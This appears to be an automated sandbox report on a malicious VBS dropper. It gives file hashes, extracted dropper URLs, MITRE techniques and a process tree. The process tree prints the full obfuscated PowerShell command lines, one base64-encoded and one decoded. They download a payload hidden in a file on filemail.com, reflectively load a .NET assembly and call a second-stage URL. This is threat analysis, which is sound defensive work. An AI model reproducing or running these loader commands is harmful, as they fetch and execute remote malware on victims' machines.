f4f50825743ac2b448f3254ff8ac01323ff16f9ed2287d0fe7614cf0b7a12348

General

Target

f4f50825743ac2b448f3254ff8ac01323ff16f9ed2287d0fe7614cf0b7a12348.vbs
Size

11KB
MD5

f5678ceb6c0d259337b4dab43f009e97
SHA1

71bc74501d1b126adb0bed8d7e4c3e182cd5bbbe
SHA256

f4f50825743ac2b448f3254ff8ac01323ff16f9ed2287d0fe7614cf0b7a12348
SHA512

463b6cca15009a574a454637f3d5555c3ebde0117f65c12d0803e9ca3dac0e534b157ef473deaf703b60db396bde0a384b9471f4fccaed33995217353619a739
SSDEEP

192:mXThtJfTvuOg25CfSkYiGh6yR4W8L8tnQ2+mi3F8w/RHXS:8FOGqF/JHXS

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Signatures

Blocklisted process makes network request 4 IoCs

Processes:

WScript.exepowershell.exe

flow	pid	Process
3	1892	WScript.exe
4	1892	WScript.exe
8	2772	powershell.exe
9	2772	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exe

pid	Process
2772	powershell.exe
612	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	3	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	4	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid	Process
612	powershell.exe
2772	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description	pid	Process
Token: SeDebugPrivilege	612	powershell.exe
Token: SeDebugPrivilege	2772	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

WScript.exeWScript.exepowershell.exe

description	pid	Process	procid_target
PID 1792 wrote to memory of 1892	1792	WScript.exe	31
PID 1792 wrote to memory of 1892	1792	WScript.exe	31
PID 1792 wrote to memory of 1892	1792	WScript.exe	31
PID 1892 wrote to memory of 612	1892	WScript.exe	32
PID 1892 wrote to memory of 612	1892	WScript.exe	32
PID 1892 wrote to memory of 612	1892	WScript.exe	32
PID 612 wrote to memory of 2772	612	powershell.exe	34
PID 612 wrote to memory of 2772	612	powershell.exe	34
PID 612 wrote to memory of 2772	612	powershell.exe	34

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\f4f50825743ac2b448f3254ff8ac01323ff16f9ed2287d0fe7614cf0b7a12348.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1792
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\XqrJnUsDhYijtro.vbs"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of WriteProcessMemory
  PID:1892
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnT0s2aW1hZ2VVcmwgPSA5U2NodHRwczovLzEwMTcuZmlsZW1haWwuY29tL2FwaS9maWxlL2dldD9mJysnaWxla2V5PTJBYV9iV28nKyc5UmV1NDUnKyd0JysnN0JVMWtWZ3NkOXBUOXBnU1NsdlN0R3JuVEknKydDZkZobVRLajNMQzZTUXRJY09jX1QzNXcmcGtfdmlkPWZkNGY2MTRiYjIwOWM2MmMxNzMwOTQ1MTc2YTA5MDRmIDlTYztPSzZ3ZWJDJysnbGllbnQgPSBOZXcnKyctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O09LNmltYWdlQnl0ZXMgPSBPSzZ3ZWJDJysnbGllbnQuRG93bmxvJysnYWREYXRhKE9LNmltYWdlVXJsKTtPSzZpbWFnZVRleHQgPSBbU3lzdGVtLicrJ1RleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhPSzZpbWFnJysnZUJ5dGVzKTtPSzZzdGEnKydydEZsYWcgPSA5U2M8PEJBU0U2NF9TVEFSVD4+OVNjO09LNmVuZEZsYWcgPSA5U2M8PEJBU0U2NF9FTkQ+PjlTYztPSzZzdGFydEluZGV4ID0gT0s2aW1hZ2VUZXh0LkluZGV4T2YoT0s2c3RhcnRGbCcrJ2FnKScrJztPSzZlbmRJbmRleCA9IE9LNmltYScrJ2dlVGV4dC5JbicrJ2RleE9mKE9LNmVuZEZsYWcpO09LNnN0YScrJ3J0SW5kZXggLWdlIDAgLWFuZCBPSzZlbmRJbmRleCAtZ3QgT0s2c3RhcnRJbmRleDtPSzZzdGFydEluZGV4ICsnKyc9IE9LNnN0YXJ0RmxhZy5MZW5ndGg7T0s2YmFzZTY0TGVuZ3RoID0gT0s2ZW5kSW5kZXggLSBPSzZzdGFydEluZGV4O09LNmJhc2U2NENvbW1hbmQgPSBPSzZpbWFnZVRleHQuU3Vic3RyaW5nKCcrJ09LNnN0JysnYXJ0SW5kZXgsIE9LNmJhc2U2NExlbmd0aCk7T0s2YmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoT0s2YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIHRyYiBGb3JFYWNoLU9iamVjdCB7IE9LNl8gfSlbLTEuLi0oJysnT0s2YmFzZTY0Q28nKydtbWFuZC5MZW5ndGgpXTtPSzZjb21tYW4nKydkQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjonKydGcm9tQmFzZTY0U3RyJysnaScrJ25nKE9LNmJhcycrJ2U2NCcrJ1JldmVyJysnc2VkKTtPSzZsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseScrJ106OkxvYWQoT0s2Y29tbWFuZEJ5dGVzKTtPSzZ2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKDlTJysnY1ZBSTlTYyk7T0s2dmFpTWV0aG9kLkludm9rZShPSzZudWxsLCcrJyBAKDlTY3QnKyd4dC5MU1NXUy9rbG8vdWUuaHN1cHdzcmVsbG9yLnN1cC8vOnB0dGg5U2MsIDlTY2Rlc2F0aXZhZG85U2MsIDlTY2Rlc2F0aXZhZG85U2MsIDlTYycrJ2Rlc2F0aXZhZG85U2MsIDlTJysnY2Rlc2F0aXZhJysnZCcrJ285U2MsIDlTYzE5U2MsIDlTY09uZURyaXZlU2V0dXA5U2MsIDlTY2Rlc2F0aXZhZG85U2MsIDlTY2Rlc2F0aXZhJysnZG85U2MsOVNjZGVzYXRpdmFkbzlTYyw5U2NkZXNhdGl2YWRvOVNjLDlTY2QnKydlc2F0aXZhZG85U2MsOVNjMTlTYyw5U2NkZXNhJysndGl2YWRvOVNjKSk7JykgIC1yZXBsQUNlKFtDSGFyXTExNitbQ0hhcl0xMTQrW0NIYXJdOTgpLFtDSGFyXTEyNC1jcmVwbGFDRSAnT0s2JyxbQ0hhcl0zNiAgLXJlcGxBQ2UgICc5U2MnLFtDSGFyXTM5KSB8ICYgKChHdiAnKk1kUionKS5OYW1FWzMsMTEsMl0tam9pTicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:612
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('OK6imageUrl = 9Schttps://1017.filemail.com/api/file/get?f'+'ilekey=2Aa_bWo'+'9Reu45'+'t'+'7BU1kVgsd9pT9pgSSlvStGrnTI'+'CfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f 9Sc;OK6webC'+'lient = New'+'-Object System.Net.WebClient;OK6imageBytes = OK6webC'+'lient.Downlo'+'adData(OK6imageUrl);OK6imageText = [System.'+'Text.Encoding]::UTF8.GetString(OK6imag'+'eBytes);OK6sta'+'rtFlag = 9Sc<<BASE64_START>>9Sc;OK6endFlag = 9Sc<<BASE64_END>>9Sc;OK6startIndex = OK6imageText.IndexOf(OK6startFl'+'ag)'+';OK6endIndex = OK6ima'+'geText.In'+'dexOf(OK6endFlag);OK6sta'+'rtIndex -ge 0 -and OK6endIndex -gt OK6startIndex;OK6startIndex +'+'= OK6startFlag.Length;OK6base64Length = OK6endIndex - OK6startIndex;OK6base64Command = OK6imageText.Substring('+'OK6st'+'artIndex, OK6base64Length);OK6base64Reversed = -join (OK6base64Command.ToCharArray() trb ForEach-Object { OK6_ })[-1..-('+'OK6base64Co'+'mmand.Length)];OK6comman'+'dBytes = [System.Convert]::'+'FromBase64Str'+'i'+'ng(OK6bas'+'e64'+'Rever'+'sed);OK6loadedAssembly = [System.Reflection.Assembly'+']::Load(OK6commandBytes);OK6vaiMethod = [dnlib.IO.Home].GetMethod(9S'+'cVAI9Sc);OK6vaiMethod.Invoke(OK6null,'+' @(9Sct'+'xt.LSSWS/klo/ue.hsupwsrellor.sup//:ptth9Sc, 9Scdesativado9Sc, 9Scdesativado9Sc, 9Sc'+'desativado9Sc, 9S'+'cdesativa'+'d'+'o9Sc, 9Sc19Sc, 9ScOneDriveSetup9Sc, 9Scdesativado9Sc, 9Scdesativa'+'do9Sc,9Scdesativado9Sc,9Scdesativado9Sc,9Scd'+'esativado9Sc,9Sc19Sc,9Scdesa'+'tivado9Sc));') -replACe([CHar]116+[CHar]114+[CHar]98),[CHar]124-creplaCE 'OK6',[CHar]36 -replACe '9Sc',[CHar]39) | & ((Gv '*MdR*').NamE[3,11,2]-joiN'')"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2772

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\XqrJnUsDhYijtro.vbs

Filesize
1KB

MD5
03e4e4d0259b3af7b37e2802812d9128

SHA1
fcef4018ec7206fb296b79e8035bb02457e39872

SHA256
26524695f59b3f155be3c94504537f36c5de23bc2226e5819b7919023dd5c183

SHA512
dbdaa2707f6e19442a7d55f119487b418f17a040462b11fc88653e130709c1127e2d0d1923dde3258546ff07b18c1d3c5cdbc2a7ff40f342d3689a618159e1a6

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
0b9439986ee468c1b245ae3b109fc8f8

SHA1
99e47c9f6bbfa40e0a6a928ca7288a078b0871a4

SHA256
33acb07b5b81eb2d21ed2f0b5b261bc42dd2bf3fd8fe5976fd4ee9a9420489b9

SHA512
20ffb5a73266da8a49e4de08034659e37ef8eed6c7d648476564e1291c1be9a5ddc81774227e78515d3bf5ce46cc648fbbb0372496dae365ad4595c29b583892

Download Submit
memory/612-8-0x000000001B3C0000-0x000000001B6A2000-memory.dmp

Filesize
2.9MB

Download
memory/612-9-0x00000000028A0000-0x00000000028A8000-memory.dmp

Filesize
32KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads